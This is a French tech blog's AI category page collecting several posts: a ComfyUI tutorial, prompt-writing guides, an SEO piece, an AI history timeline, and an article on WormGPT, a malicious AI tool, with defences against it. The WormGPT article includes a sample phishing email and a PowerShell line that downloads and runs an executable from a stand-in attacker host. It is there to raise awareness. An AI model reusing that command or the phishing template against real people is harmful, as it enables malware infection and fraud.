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L’IA

Plongez dans le monde fascinant de l’Intelligence Artificielle ! Cette catégorie vous offre des articles sur les dernières innovations, applications pratiques, et implications éthiques de l’IA. Que vous soyez novice ou expert, explorez nos tutoriels, études de cas, et interviews avec des leaders du domaine. Restez à jour avec les avancées technologiques et découvrez comment l’IA transforme notre quotidien.

IA, Photos et vidéos

Comprendre et Dompter ComfyUI

Comprendre et Dompter ComfyUI

 

 

Concept général

ComfyUI, c’est le LEGO de la génération d’images par IA (et vidéo).
Là où d’autres interfaces comme Automatic1111 se contentent de sliders et de champs de texte, ComfyUI te propose une vision nodale : tu construis ton workflow comme un schéma électronique ou un graphe réseau.

  • Chaque nœud = une action précise (charger un modèle, ajouter un prompt, appliquer une upscale, etc.).
  • Tu relies les nœuds entre eux = tu crées ta pipeline de génération.
  • Résultat : contrôle total, pas de “boîte noire”, et surtout la possibilité d’automatiser et d’expérimenter.

Bref, ComfyUI c’est la console terminal + interface visuelle de la génération d’images.

Vocabulaire & Concepts essentiels

🔹 Les modèles

  • SD (Stable Diffusion 1.4/1.5) : la “base historique”. Rapide, léger, mais limité dans les détails.
  • SDXL (Stable Diffusion XL) : la nouvelle star. Plus lourd, mais beaucoup plus précis. Idéal pour du photoréalisme ou des détails complexes.
  • SDXL Turbo : optimisé vitesse. Moins de finesse, mais très utile pour prototyper.
  • Anime & Styles spécifiques (Anything, Dreamshaper, etc.) : modèles spécialisés pour un rendu artistique (manga, peinture, cartoon…).
  • Inpainting Models : pour corriger ou éditer une partie d’image.
  • ControlNet Models : pour guider l’image à partir d’une pose, d’un croquis, d’une profondeur, etc.
  • LoRA (Low Rank Adaptation) : mini-modèles spécialisés (ex : un style artistique, un personnage). Plug-and-play dans SD ou SDXL.

🔹 Les nœuds principaux

  • Load Checkpoint / Model Loader : charge ton modèle (SD, SDXL, etc.).
  • CLIP Text Encode : traduit ton prompt en vecteurs pour l’IA.
  • KSampler : cœur de la génération → il fabrique l’image à partir du bruit et des prompts.
  • VAE Decode : convertit la sortie de l’IA en image “lisible”.
  • Save Image : ton point de sortie.
  • Conditioning (Positif / Négatif) : gère ce que tu veux voir et ce que tu ne veux surtout pas (ex : “sans watermark, sans flou”).
  • ControlNet : pour guider la génération avec des références (pose, esquisse, segmentation).
  • Upscaler : augmente la résolution et les détails.
  • LoRA Loader : ajoute une spécialisation.

🔹 Les formats & poids

  • .ckpt / .safetensors : poids des modèles.
  • VAE : fichiers pour gérer la compression des couleurs & détails.
  • .json / .png (workflow) : les schémas de nœuds peuvent être exportés → un PNG peut contenir ton workflow directement.

Bonnes pratiques

  1. Commence simple
    → Modèle SDXL + prompt basique + négatif prompt + upscale = workflow minimal.
  2. Sépare les blocs
    → Crée des workflows modulaires (un pour génération, un pour upscale, un pour inpainting).
  3. Nomme tes nœuds
    → Quand tu reviens plus tard sur un workflow complexe, un “CLIP Encode 5” ne veut rien dire. Mets des labels clairs.
  4. Prompt engineering
    • Positif = description, style, ambiance.
    • Négatif = les “déchets” (mains ratées, artefacts, flou).
    • Utilise des poids (ex : (hyperrealistic:1.3)) pour influencer la balance.
  5. KSampler tuning
    • Steps (20–30) = détail.
    • CFG Scale (6–8) = équilibre entre fidélité au prompt et créativité.
    • Seed = graine aléatoire → pour retrouver une image, garde-la précieusement.
  6. Contrôle du GPU
    • SD = tourne même sur 4–6 Go VRAM.
    • SDXL = confortable à partir de 8–12 Go.
    • Utilise le batch ou le low VRAM mode si tu es limité.
  7. Versionning de workflows
    → Sauvegarde tes workflows par thème (“Portrait Stylisé”, “Architecture Futuriste”, “Manga”).

Niveaux de workflows

  • Débutant :
    Load Model → Encode Prompt → KSampler → Decode → Save Image.
  • Intermédiaire :
    Ajout ControlNet, LoRA, upscale, gestion fine du prompt.
  • Avancé :
    Multiples pipelines parallèles (ex : génération → correction → upscale → stylisation → export).

Conclusion façon TOCH

ComfyUI, c’est l’atelier clandestin du hacker visuel.
Il ne faut pas le voir comme un “outil magique qui fait tout tout seul”, mais comme une boîte à outils où tu maîtrises chaque boulon.

 

👉 Débutant ? Commence avec un SDXL simple et des prompts.
👉 Intermédiaire ? Joue avec ControlNet et LoRA.
👉 Avancé ? Crée des workflows modulaires, partage tes PNG, et deviens le maître Jedi de la génération nodale.

 

IA, Service web

God mode pour ChatGPT : mythe ou méthode

God mode pour ChatGPT : mythe ou méthode

Guide pas-à-pas pour des prompts puissants et responsables

TL;DR

Les prompts « god mode » qui promettent des réponses sans limite relèvent souvent du marketing ou d’un mauvais usage. Il n’existe pas de formule magique pour contourner les limitations (sécurité, fenêtre de contexte, sources externes). En revanche, on peut construire des prompts et des workflows (RAG, few-shot, système + instructions claires, itérations) pour obtenir des résultats très proches de ce que les gens appellent « god mode ». Ce guide explique comment, étape par étape.

Qu’est-ce qu’un “god mode” prompt ?

  • Définition perçue : un prompt qui transforme le modèle en un assistant infini, ultra-compétent et prêt à tout.
  • Réalité : souvent une combinaison de formulations puissantes (rôle, exemples, format), plus l’utilisation d’outils externes (RAG, plugins, API) et itérations humaines.
  • Danger : beaucoup d’affirmations “god mode” confondent optimisation du prompt et tentative de contourner les garde-fous (jailbreaks).

Pourquoi ces promesses existent (et pourquoi elles trompent)

  • Effet de halo : une bonne formulation donne l’impression que le modèle « sait tout ».
  • Ignorance des limites : fenêtre de contexte, hallucinations, absence d’accès à des bases de données privées sans RAG.
  • Marché et buzz : « god mode » vend bien — mais promet souvent l’impossible.

Principe de base : comment obtenir le meilleur sans tricher

Avant d’écrire un prompt, pose-toi trois questions :

  1. Objectif précis — Quel livrable ? (article 1200 mots, code, résumé, etc.)
  2. Public — Niveau technique, ton, langue.
  3. Contraintes — Longueur, sources fiables, format (markdown, JSON…), deadline.

Méthode pas-à-pas (workflow reproductible)

Étape 1 — Cadre / system message

Commence par un message système court et puissant pour définir le rôle.

System: Tu es un rédacteur technique senior et spécialiste en cybersécurité. Reste concis, fournisse des sources lorsqu’elles sont connues, signale les incertitudes.

Pourquoi : le rôle oriente le style, la profondeur et le comportement du modèle.

Étape 2 — Objectif & public (premier user prompt)

Donne le contexte et l’objectif en une phrase.

User: Rédige un article SEO de 900-1200 mots pour un blog technique destiné à des sysadmins, expliquant ce qu’est le “god mode” pour les LLM, avec exemples pratiques, 3 templates de prompt et une checklist.

Étape 3 — Contraintes & format

Spécifie format, sections, balises, et ton.

User (suite): Format en markdown, inclure H1/H2, titre SEO, meta description, et 3 exemples de prompts en bloc de code. Ton : direct, un peu geek.

Étape 4 — Few-shot / exemples (si pertinent)

Montre un petit exemple de sortie attendue (pour le style et l’ampleur).

Pourquoi : le modèle s’aligne sur le style désiré.

Étape 5 — Itération guidée (révisions contrôlées)

Demande une première version, puis itère avec des demandes précises (raccourcir, approfondir, ajouter sources).

User: Version 1.0. Raccourcis de 20% et ajoute un encart « risques ».

Étape 6 — Demande d’auto-critique

Demande au modèle d’auto-évaluer sa réponse selon des critères.

User: Évalue la réponse sur l'exactitude, la complétude, et propose 3 améliorations concrètes.

Étape 7 — Renforcement par RAG (si tu as des sources)

Utilise une recherche et la récupération de documents pour les faits critiques (RAG). Si tu n’as pas RAG, demande au modèle d’indiquer clairement quand il fait une supposition.

Paramètres et techniques utiles (API ou UI)

  • Temperature : 0.0–0.3 pour précision factuelle, 0.7+ pour créativité.
  • Max tokens : ajuste selon la longueur souhaitée.
  • System + user + assistant : structure tri-partite, commence par system pour le cadre.
  • Few-shot : 2–5 exemples bien choisis valent mieux qu’un long prompt confus.
  • Chunking : pour gros contenus, envoie contexte en morceaux et rassemble les réponses.

Remarque : je ne fournis pas de méthodes pour contourner des protections de sécurité ou de jailbreaks.

Templates (exemples concrets, sûrs et pratiques)

Template A — Article technique SEO

System: Tu es un rédacteur SEO expérimenté.
User: Écris un article de 1000 mots sur <SUJET>, public: administrateurs système. Inclure: introduction, 4 sections H2, conclusion, meta description, 5 mots-clés.
Constraints: langage clair, sources indiquées, pas d'affirmations non vérifiables.

Template B — Générateur de code (ex. script Bash)

System: Tu es un ingénieur DevOps expérimenté.
User: Rédige un script Bash commenté pour sauvegarder /etc tous les jours en compressé. Fournis aussi les étapes d'installation et les options de sécurité.
Constraints: compatible Debian 12, pas de sudo implicite dans le script.

Template C — Demande d’amélioration / relecture

System: Tu es un relecteur expert en tech writing.
User: Améliore le texte suivant pour qu'il soit plus clair et adapté à un public CTO (inclure résumé en 3 bullets).

Éléments avancés (sans tricher)

  • RAG : connecte une base de connaissances ou des documents (indexés) pour réponses factuelles. C’est la vraie façon d’obtenir « toutes les sources ».
  • Chaînage de prompts (pipeline) : première étape = collecte de faits, deuxième = structuration, troisième = rédaction.
  • Fine-tuning / instructions persistantes : si tu as un usage intensif, entraîner un modèle ou utiliser des instructions système persistantes via l’API aide énormément.
  • LLM locaux : tu peux posséder plus de contrôle et puissance (mais attention aux ressources et mise à jour des données).

Pièges courants et solutions rapides

  • Trop d’instructions contradictoires → simplifier et prioriser.
  • Trop d’information contextuelle → chunking + résumé de contexte.
  • Demander « tout » en une seule fois → découper en étapes.
  • Exiger exactitude sans sources → utiliser RAG ou indiquer l’incertitude explicitement.

Éthique, sécurité et limites (à rappeler sur le blog)

  • Ne cherche pas à contourner les protections : refuser les contenus dangereux / illégaux est nécessaire.
  • Vérifie toujours les faits critiques (RAG / sources humaines).
  • Respecte la vie privée et le droit d’auteur lorsque tu demandes au modèle de réutiliser du contenu.

Checklist rapide avant soumission (copy & paste)

  • Objectif clair en 1 ligne.
  • Public et ton définis.
  • Format / longueur spécifiés.
  • 1–3 exemples (few-shot) si possible.
  • Demander une auto-critique et une version « plus courte ».
  • Indiquer si les sources sont requises (RAG) ou non.

Conclusion & appel à l’action

Le « god mode » pur n’existe pas : c’est un raccourci marketing. Mais en combinant rôle système, contexte clair, few-shot, itérations, et RAG quand nécessaire, tu peux atteindre un niveau d’efficacité et de précision qui donne l’impression d’un assistant “illimité” — sans contourner les garde-fous.

    Hacking, IA

    WormGPT – IA qui aide les cybercriminels

    WormGPT – IA qui aide les cybercriminels

    Comment s’en protéger efficacement

    L’intelligence artificielle ne sert pas qu’à écrire des poèmes ou coder des assistants vocaux… Elle peut aussi être détournée pour faire le mal. Et c’est là qu’intervient WormGPT, une IA redoutable conçue pour automatiser les cyberattaques. Dans cet article, je vous explique ce qu’est WormGPT, à quoi elle sert, des exemples réels d’usage, et surtout comment s’en prémunir en entreprise comme à la maison.

    Qu’est-ce que WormGPT ?

    WormGPT est une IA basée sur GPT-J, un modèle open-source de langage, mais débarrassée de toute limite éthique. Développée en 2023 par un hacker connu sous le pseudonyme “Last”, elle a été commercialisée sur des forums underground pour générer automatiquement :

    • Des e-mails de phishing ultra convaincants,
    • Des scripts PowerShell malveillants,
    • Des payloads de ransomware,
    • Des messages pour escroqueries BEC (Business Email Compromise).

    Contrairement à ChatGPT, qui refuse de participer à des actions malveillantes, WormGPT a été conçue sans aucun garde-fou. Elle répond à toutes les requêtes, même les plus illégales.

    Exemples concrets d’utilisation

    Voici quelques cas d’usage identifiés dans les rapports de cybersécurité :

    Génération d’e-mails de phishing ultra-ciblés (Spear Phishing)

    Objet : Action requise - Facture impayée URGENTE

Bonjour [Nom de l’employé],

Veuillez trouver ci-joint la facture n°45602 en attente de règlement depuis le 4 juillet. En l'absence de paiement sous 24 heures, des frais supplémentaires s’appliqueront.

Bien cordialement,
Marie Delcourt
Direction Financière

    Ce type de message est généré avec un ton professionnel, une signature réaliste, et contient souvent une pièce jointe malveillante ou un lien vers un faux portail Microsoft.

    Génération de code PowerShell pour ouvrir une backdoor

    Invoke-WebRequest -Uri http://evil.example.com/payload.exe -OutFile $env:TEMP\payload.exe
Start-Process $env:TEMP\payload.exe

    Ce code, simple mais efficace, peut être injecté via une macro Excel, un mail HTML ou un script tiers.

    Social engineering automatisé

    WormGPT peut rédiger de faux CVs, des messages LinkedIn convaincants, voire des échanges fictifs pour gagner la confiance avant une attaque plus ciblée.

    Contre-mesures à mettre en place

    1. Sensibilisation des utilisateurs

    • Former les employés à reconnaître un message anormal (ton, urgence, fautes…).
    • Utiliser des campagnes de faux phishing pour entraîner les réflexes.

    2. Vérifications techniques

    • Implémenter DMARC / SPF / DKIM pour sécuriser l’envoi d’e-mails.
    • Ajouter une bannière d’alerte sur les mails externes (« Cet email provient de l’extérieur de l’organisation »).

    3. Surveillance comportementale

    • Mettre en place des SIEM ou outils de détection comme CrowdStrike, Darktrace, Elastic SIEM pour détecter les comportements anormaux.

    4. Solutions d’IA défensive

    • L’IA n’est pas qu’un danger, elle peut aussi détecter les patterns malveillants.
    • Ex : Microsoft Defender for Endpoint, SentinelOne, ou Proofpoint utilisent de l’IA pour stopper les menaces en amont.

    5. Test de red teaming / pentest

    • Faire auditer votre SI par des professionnels pour identifier les points faibles.
    • Simuler des attaques BEC, spear-phishing ou malware via des outils légitimes comme GoPhish.

    Où en est WormGPT aujourd’hui ?

    WormGPT a été officiellement fermé en août 2023, mais de nouvelles variantes sont apparues en 2024–2025, s’appuyant sur les modèles Grok (d’xAI) ou Mixtral (de Mistral AI). Elles circulent sur Telegram ou les dark markets, à des prix allant jusqu’à 5 000 € pour une version hébergée localement.

    Conclusion

    WormGPT illustre une tendance inquiétante : celle de l’IA au service du cybercrime. Heureusement, il est possible de s’en défendre avec une bonne hygiène numérique, des outils adaptés et surtout une culture de la vigilance.

    💡 Rappel : Ce n’est pas la technologie qui est dangereuse en soi, c’est ce qu’on en fait. Et chez moi, sur ce blog, on préfère s’en servir pour protéger, éduquer et anticiper.

    IA

    Booster vos prompts avec ChatGPT

    Booster vos prompts avec ChatGPT

    IA

    Modificateurs secrets pour booster vos prompts

     

    On parle souvent d’astuces pour mieux “prompter” ChatGPT. C’est à la mode. Mais certaines commandes discrètes, encore peu connues du grand public, permettent réellement de transformer la manière dont vous interagissez avec le modèle. Dans cet article, je vous dévoile 4 modificateurs puissants — et surtout comment les utiliser concrètement, avec en bonus mes recommandations de geek de terrain 

    \n – Le retour à la ligne… maîtrisé

    On l’utilise tous sans y penser. Mais le retour à la ligne (\n) peut devenir un outil stratégique.

    Pourquoi c’est utile ?

    ChatGPT fonctionne mieux lorsqu’on structure ses instructions. Utiliser des lignes distinctes, au lieu d’un gros bloc, améliore la compréhension du prompt.

    Exemple :

    Tu es un recruteur spécialisé IT. 
\nTu vas analyser ce CV. 
\nDonne-moi les points faibles techniques.
\nFais-moi un retour clair, en bullet points.

    Mon astuce :

    Utilise des sections comme dans un document Word. Tu peux même simuler des titres :

    ## CONTEXTE :
\nJe prépare un entretien pour un poste DevSecOps.

## OBJECTIF :
\nJe veux impressionner sur la partie sécurité.

## BESOIN :
\nDonne-moi 5 sujets techniques à préparer.

    Résultat : le modèle structure mieux sa réponse et évite de partir dans tous les sens.

    -- – La double-pause qui ordonne

    Le double tiret -- est interprété comme une séparation logique ou une indication de liste par ChatGPT.

    Exemple :

    Fais-moi un tableau comparatif entre :
-- Windows 11
-- macOS Sonoma
-- Debian 13

    Pourquoi ça marche ?

    Cela permet à ChatGPT de détecter une énumération ou une comparaison implicite. Il est plus fluide, plus clair.

    Christophe recommande :

    Je l’utilise pour donner des alternatives sans que le modèle me coupe avec des explications inutiles :

    Tu es un expert réseau.
Voici 3 options de firewall open source :
-- OPNsense
-- pfSense
-- IPFire
Fais-moi un classement selon :
-- Facilité d’installation
-- Interface web
-- Mise à jour
-- Fonctionnalités avancées

    Bonus : ça marche encore mieux avec les tableaux (|), mais ça, on en parle plus bas.

    // – L’annotation contextuelle (ma préférée)

    Le // sert à ajouter des commentaires dans le prompt. ChatGPT comprend qu’il ne doit pas les exécuter comme instructions, mais les prendre comme contexte ou mémo.

    Exemple :

    Rédige un article de blog sur l’IA générative.
// Le public est expert.
// Le ton doit être technique mais accessible.
// Évite les buzzwords inutiles.

    Résultat : plus besoin d’alourdir le prompt principal. Vous structurez vos instructions comme un développeur structure son code.

    Christophe t’en parle franchement :

    Si vous ne maîtrisez pas encore les “roles” ou les “personas” dans vos prompts, les // sont un excellent moyen de guider ChatGPT sans vous prendre la tête avec des balises JSON.

    || – La séparation entre options

    Ce symbole (deux pipes verticaux ||) est très utile pour formuler des alternatives dans une seule ligne.

    Exemple :

    Propose-moi un nom de projet IA qui soit :
court || évocateur || avec une racine latine

    À savoir :
    ChatGPT comprendra ici que vous ne voulez pas tout en même temps (sauf si précisé), mais qu’il doit chercher un compromis ou plusieurs propositions.

    Mon usage perso :

    Je l’emploie pour créer des prompts exploratoires :

    Fais-moi une accroche pour un flyer sur l’IA :
|| style geek
|| style startup friendly
|| style vulgarisation pour DSI

    Tu obtiens 3 propositions directement, bien différenciées. C’est top pour brainstormer rapidement.

    BONUS : Combine-les tous

    On peut bien sûr empiler ces modificateurs pour créer des prompts ultra-structurés.

    Exemple :

    Tu es un expert en cybersécurité.
\nAnalyse cette situation :
\nUne entreprise subit un ransomware.
\n-- Impact technique
\n-- Impact juridique
\n-- Plan de réponse
// Ton public : RSSI
|| style concis || style rapport d’incident || style article LinkedIn

    Résultat structuré, lisible, adapté au contexte, avec plusieurs versions possibles !

    En résumé : Le tableau de survie des modificateurs

    Symbole Utilité principale Idéal pour…
    \n Structurer / aérer les instructions Rédactions longues ou prompts multi-étapes
    -- Enumérations et séparateurs logiques Comparaisons, tableaux, checklist
    // Ajouter des commentaires non exécutés Contexte invisible, mémo interne
    `   `

    Recommandations Christophe

    • Utilise-les comme des LEGO : tu veux une réponse claire, obtiens-la en structurant ton prompt comme tu structurerais un mail à ton boss.
    • Ne fais pas d’hybride flou : évite de mélanger tout sans hiérarchie. Un prompt bien écrit, c’est comme un plan de projet : clair, lisible, et compréhensible par une IA… ou un humain.
    • Teste à la volée : ChatGPT répond mieux quand tu écris en mode « prise de notes ». Ces symboles aident à ce style-là.

    Envie d’aller plus loin ?

    J’ai testé plein de modificateurs, mais ceux-ci sont les plus simples à adopter au quotidien. Pour ceux qui veulent aller plus loin, je prépare un article sur les prompts avancés avec :

    • JSON structuré
    • chaînes de rôles (<system>, <user>, etc.)
    • prompts dynamiques pour automatisation.

     

    Le prompting, c’est comme l’écriture technique : on progresse à chaque usage.
    📌 Partage cet article à ceux qui écrivent encore leurs prompts comme ils taperaient dans Google 😅

    IA, Métiers, Travail

    Techniques de Prompt en Entreprise

    Techniques de Prompt en Entreprise

     

     

    Exemples Adaptés par Service en entreprise

     

    L’art de bien prompter un LLM (Large Language Model) permet d’obtenir des réponses plus précises, pertinentes et actionnables. Dans un contexte professionnel, chaque service peut tirer parti de formulations spécifiques pour guider l’IA vers des résultats utiles. Voici des exemples concrets, service par service, avec 5 prompts efficaces et adaptables à chaque usage.

    En fournissant du contexte et des exemples pertinents dans votre requête, vous aidez l’IA à comprendre la tâche souhaitée et à générer des résultats plus précis et pertinents.

    Service RH (Ressources Humaines)

     

    Tu es au service Ressources humaines d’une entreprise, Tu es un pro de l’organisation, peux tu, étape par étape…

    1. « Crée un guide d’accueil pour un nouvel employé dans le service [nom du service] en listant les étapes essentielles jour par jour. »
    2. « Résume une fiche de poste en la rendant compréhensible pour un collègue non expert du métier. »
    3. « Génère une grille d’entretien pour évaluer un candidat sur des compétences techniques et comportementales. »
    4. « Fais une synthèse comparative entre deux CV pour un poste donné. »
    5. « Simule une discussion entre un manager et un salarié sur un objectif non atteint, en adoptant une posture constructive. »

     

    Service Marketing

    Tu es au service marketing d’une entreprise, tu comprend les attentes des clients et la situation du marché…

    1. « Propose une campagne marketing pour le lancement d’un produit, avec des idées pour chaque canal (email, réseaux, print). »
    2. « Crée une FAQ client à partir de ce texte de présentation produit. »
    3. « Réécris ce texte publicitaire en 3 versions : professionnelle, conviviale et humoristique. »
    4. « Fais une analyse SWOT rapide du produit [X]. »
    5. « Résume les résultats de cette campagne précédente en 5 points clés pour la direction. »

     

    Service Commercial

    Tu est un employés à l’Administration des ventes…

    1. « Simule une conversation client où tu défends le prix d’une offre face à un concurrent. »
    2. « Génère 3 relances d’emails différentes pour un devis resté sans réponse. »
    3. « Liste les objections possibles pour ce produit et propose une réponse pour chaque. »
    4. « Crée un argumentaire produit en 4 étapes logiques pour une formation commerciale. »
    5. « Résume cet appel client de 15 minutes en un compte rendu clair, organisé par thème. »

     

    Service Juridique

    Tu es au service juridique d’une entreprise, Tu es un pro des lois et réglementations lié au travail et à la vie des entreprises. Peux tu, étape par étape…

    1. « Explique cette clause contractuelle de manière compréhensible pour un non-juriste. »
    2. « Résume les risques juridiques d’une opération de fusion dans une entreprise de moins de 50 salariés. »
    3. « Formule un récapitulatif des obligations RGPD en 5 points pratiques pour un DSI. »
    4. « Crée un tableau comparatif entre deux régimes juridiques applicables à cette situation. »
    5. « Simule une consultation juridique entre un avocat et un client sur une rupture de contrat. »

     

    Service Informatique (IT)

    Tu est un expert en informatique au service IT…

    1. « Rédige un rapport d’incident système en listant les causes possibles, l’impact, les actions prises et les prochaines étapes. »
    2. « Explique ce script Bash ligne par ligne à un débutant. »
    3. « Crée une documentation technique pour l’installation d’un VPN en entreprise. »
    4. « Simule une alerte sécurité envoyée à tous les employés suite à une tentative de phishing. »
    5. « Liste les vérifications à faire avant de mettre une application en production. »

     

    Conclusion

     

    Le prompt « étape par étape » est une porte d’entrée vers un monde de formulations spécialisées. En adaptant le vocabulaire, le niveau de technicité et le ton, chaque service peut tirer le meilleur des modèles de langage. N’hésitez pas à enrichir ces exemples en fonction de vos contextes propres !

    Non classé, Recherche, Web

    Visible sur Google à l’ère de l’IA : ce qu’il faut retenir

    Être (encore) visible sur Google à l’ère de l’IA : ce qu’il faut retenir

     

    Visible sur Google à l’ère de l’IA

    Google change (encore). Depuis mai 2024, les résultats enrichis par l’IA – les fameux AI Overviews – sont devenus le nouveau standard pour une partie des recherches. Résultat : les pages web classiques se retrouvent encore plus en bas, sous un résumé généré par l’IA. Une révolution ? Oui. Une menace pour le SEO ? Clairement.

    Voici ce qu’il faut comprendre (et faire) pour rester visible dans ce nouveau monde.

    1. AI Overviews : c’est quoi exactement ?

    Imagine que tu poses une question à Google : “Comment économiser de la batterie sur mon Android ?”
    Avant, tu avais dix liens, quelques pubs, parfois un encadré.
    Maintenant, Google te résume la réponse directement. Avec un paragraphe écrit par son IA. Puis, en dessous (si tu scrolles), les sources.

    Ces “AI Overviews” sont comme une Google réponse turbo, générée par une IA qui s’appuie sur des sources… mais sans toujours les montrer directement. Une sorte de Siri + Wikipédia + ChatGPT dans le moteur.

    2. Est-ce la fin du SEO ?

    Non, mais ce n’est plus le même jeu.

    Avant : tu optimisais pour être dans le top 3.
    Maintenant : tu optimises pour être cité par l’IA.
    Pas la même logique, pas les mêmes critères. Le clic devient rare, la visibilité floue. Même si ton contenu est utilisé, rien ne garantit que l’utilisateur vienne sur ton site.

    3. Ce que Google dit (officiellement)

    Lors du Google I/O, Liz Reid (VP Search) a donné quelques conseils pour être “AI-compatible” :

    • Crée du contenu utile et précis.
    • Sois transparent sur la source, l’expertise, les auteurs.
    • Structure bien ton texte (titres clairs, paragraphes logiques).
    • Réponds à des questions concrètes, sans tourner autour du pot.

    Mais rien de révolutionnaire. Ce sont les mêmes recommandations que pour le SEO “classique”. Sauf que maintenant, l’IA trie à ta place.

    4. Ce que Google ne dit pas, mais qui compte

    Voici ce que l’expérience terrain nous apprend :

    • Les sources citées sont parfois surprenantes : petits blogs, forums, voire Reddit.
    • Les contenus trop marketés sont écartés.
    • Les contenus très “humains” (expériences, opinions claires) ressortent bien.
    • Les balises structurées (FAQ, HowTo) semblent utiles pour guider l’IA.

    Donc, si tu veux encore exister dans ce nouveau paysage, écris comme un humain, mais pense comme une IA.

    5. Stratégie “Christophe” : que faire concrètement ?

    Voici ton plan d’action tactique :

    • Double down sur la qualité : plus que jamais, il faut être le contenu que Google voudra citer.
    • Optimise pour la réponse directe : chaque article devrait répondre à une question précise, dès l’intro.
    • Utilise des données structurées : balises FAQ, HowTo, Article, tout ce qui aide l’IA à comprendre ton contenu.
    • Ajoute une touche personnelle : raconte, explique, interprète. Les IA aiment les contenus différenciés.
    • Surveille si tu es cité : ce n’est pas simple, mais des outils comme Semrush, Sistrix ou Ahrefs commencent à intégrer des suivis de visibilité dans l’IA.

    6. Faut-il paniquer ?

    Non. Mais il faut s’adapter.
    Comme à chaque évolution du moteur.
    Ce n’est pas la première disruption du SEO (souviens-toi de Panda, Penguin, BERT…).
    Mais celle-ci est plus radicale : l’IA devient l’interface.

    En clair : ton vrai visiteur, c’est l’IA de Google.
    À toi de la séduire sans perdre l’humain de vue.

    IA, raconte-moi

    Histoire et avenir de l’intelligence artificielle

    Histoire et avenir de l’intelligence artificielle : de Turing à demain

     

    Histoire et avenir de l'intelligence artificielle

    Histoire et avenir de l’intelligence artificielle

    Les prémices de l’IA : les bases théoriques et informatiques (1940–1955)

    1943 – Le premier réseau de neurones formel

    • Warren McCulloch et Walter Pitts publient un article sur un modèle mathématique du neurone : “A Logical Calculus of the Ideas Immanent in Nervous Activity”.
    • 🧠 Ce modèle binaire pose les bases des réseaux de neurones artificiels.

    1950 – Le test de Turing

    • Alan Turing, père de l’informatique théorique, propose un test pour déterminer si une machine peut « penser » : le test de Turing.
    • 📘 Référence : “Computing Machinery and Intelligence”.

    1951 – Première implémentation matérielle

    • Marvin Minsky et Dean Edmonds construisent le SNARC, premier simulateur de réseau neuronal.

    L’émergence officielle de l’intelligence artificielle (1956–1973)

    1956 – Naissance de l’IA

    • Conférence de Dartmouth organisée par John McCarthy, Marvin Minsky, Claude Shannon, et Nathan Rochester.
    • 🗣️ McCarthy forge le terme “Artificial Intelligence”.

    1957 – Le perceptron

    • Frank Rosenblatt invente le Perceptron, algorithme d’apprentissage supervisé.
    • Il s’agit du premier réseau de neurones pouvant apprendre à classer des données simples.

    1966–1972 – Premiers succès et premières désillusions

    • Lancement d’ELIZA, programme de traitement du langage simulant un psychothérapeute (Joseph Weizenbaum).
    • Mais les limitations apparaissent rapidement : difficulté à comprendre réellement le langage.

    Le premier hiver de l’IA (1974–1980)

    Raisons :

    • Incapacité des IA à résoudre des problèmes complexes.
    • Diminution des financements après des promesses non tenues.

    📉 Exemple : les réseaux de neurones sont abandonnés, jugés inefficaces.

    Le renouveau via les systèmes experts (1980–1987)

    1980 – L’essor des systèmes experts

    • Exemple : XCON, utilisé par DEC pour configurer des ordinateurs, économise des millions de dollars.
    • 🧩 Ces systèmes reposent sur des règles “SI… ALORS…” codées à la main.

    Mais ils manquent de souplesse et d’adaptabilité.

    Deuxième hiver de l’IA (1987–1993)

    Raisons :

    • Explosion des coûts de développement.
    • Mauvaise portabilité des systèmes experts.
    • Avènement des ordinateurs personnels qui remettent en question les architectures spécialisées.

    La révolution du machine learning (1994–2010)

    Années 1990 – Retour des statistiques

    • L’IA abandonne les règles rigides au profit de l’apprentissage automatique (machine learning).
    • 🏆 1997 : Deep Blue (IBM) bat le champion du monde d’échecs Garry Kasparov.

    Années 2000 – Big Data et algorithmes

    • Explosion des données disponibles.
    • 📈 Les algorithmes de classification, de reconnaissance faciale et de traduction automatique se démocratisent (Google Translate, etc.).

    L’ère du deep learning (2011–2020)

    2012 – Révolution AlexNet

    • Réseau de neurones AlexNet gagne ImageNet avec une précision inégalée.
    • Démocratisation des GPU pour entraîner les réseaux profonds.

    2016 – Victoire de l’IA au jeu de Go

    • AlphaGo (DeepMind) bat Lee Sedol, champion mondial.
    • 💡 Utilise du deep learning + arbre de recherche de Monte Carlo.

    IA générative et LLMs (2021–2024)

    2020–2023 – L’arrivée des modèles de langage massifs

    • GPT-3 (OpenAI, 2020), ChatGPT, puis GPT-4, Claude, Mistral, LLaMA, etc.
    • Applications dans la rédaction, la programmation, le conseil juridique ou médical, etc.

    2023 – L’IA multimodale

    • GPT-4 devient multimodal (texte + image).
    • Des IA génératives d’images comme DALL·E, Midjourney, ou Stable Diffusion explosent en popularité.

    Présent et futur proche (2025–2030)

    Tendances actuelles :

    • IA intégrée dans les outils quotidiens (Google Workspace, Office, Windows, etc.).
    • Codéveloppement homme-machine (CoPilot, Notion AI).
    • IA embarquée dans les smartphones et objets connectés.

    2025–2030 : scénarios à court terme

    • Automatisation accrue des métiers (RH, compta, logistique, etc.).
    • IA explicables pour une meilleure transparence des décisions (XAI).
    • Encadrement législatif (AI Act européen, Biden Executive Order, etc.).

    Scénarios à moyen terme (2030–2040)

    Deux visions possibles :

    Scénario optimiste :

    • Coévolution homme-IA.
    • Médecine personnalisée, assistant IA éducatif universel, villes intelligentes.
    • IA au service de la transition écologique (optimisation de l’énergie, réseaux intelligents).

    Scénario critique :

    • Dépendance accrue aux IA centralisées.
    • Perte de compétences humaines dans certains secteurs.
    • Dérives possibles : surveillance, manipulation, polarisation.

    Scénarios à long terme (2040–2050+)

    IA forte / Superintelligence ?

    • IA devenant autonome dans ses objectifs.
    • Risques identifiés par des chercheurs comme Nick Bostrom (Superintelligence, 2014).

    Possibilités envisagées :

    • IA capables de se programmer elles-mêmes.
    • Fusion homme-machine (interfaces neuronales type Neuralink).
    • Gouvernance mondiale assistée par IA ?

    Conclusion

    L’intelligence artificielle, née des rêves mathématiques et des débuts de l’informatique, a connu des hauts et des bas spectaculaires. Aujourd’hui, elle transforme nos sociétés à une vitesse inédite. L’enjeu des prochaines décennies sera de cohabiter intelligemment avec ces intelligences, sans perdre notre humanité, ni notre capacité de jugement.

    📚 Ressources complémentaires pour aller plus loin :

    • Artificial Intelligence: A Modern Approach – Stuart Russell & Peter Norvig
    • Superintelligence – Nick Bostrom
    • The Master Algorithm – Pedro Domingos
    • Timeline visuelle (MIT): AI History Timeline
    IA, Mémo

    Acculturation IA – Outil de travail

    Acculturation sur l’IA – Un outil de travail

    Acculturation sur l’IA

    Acculturation IA – Outil de travail

    Pourquoi ce mémo ?

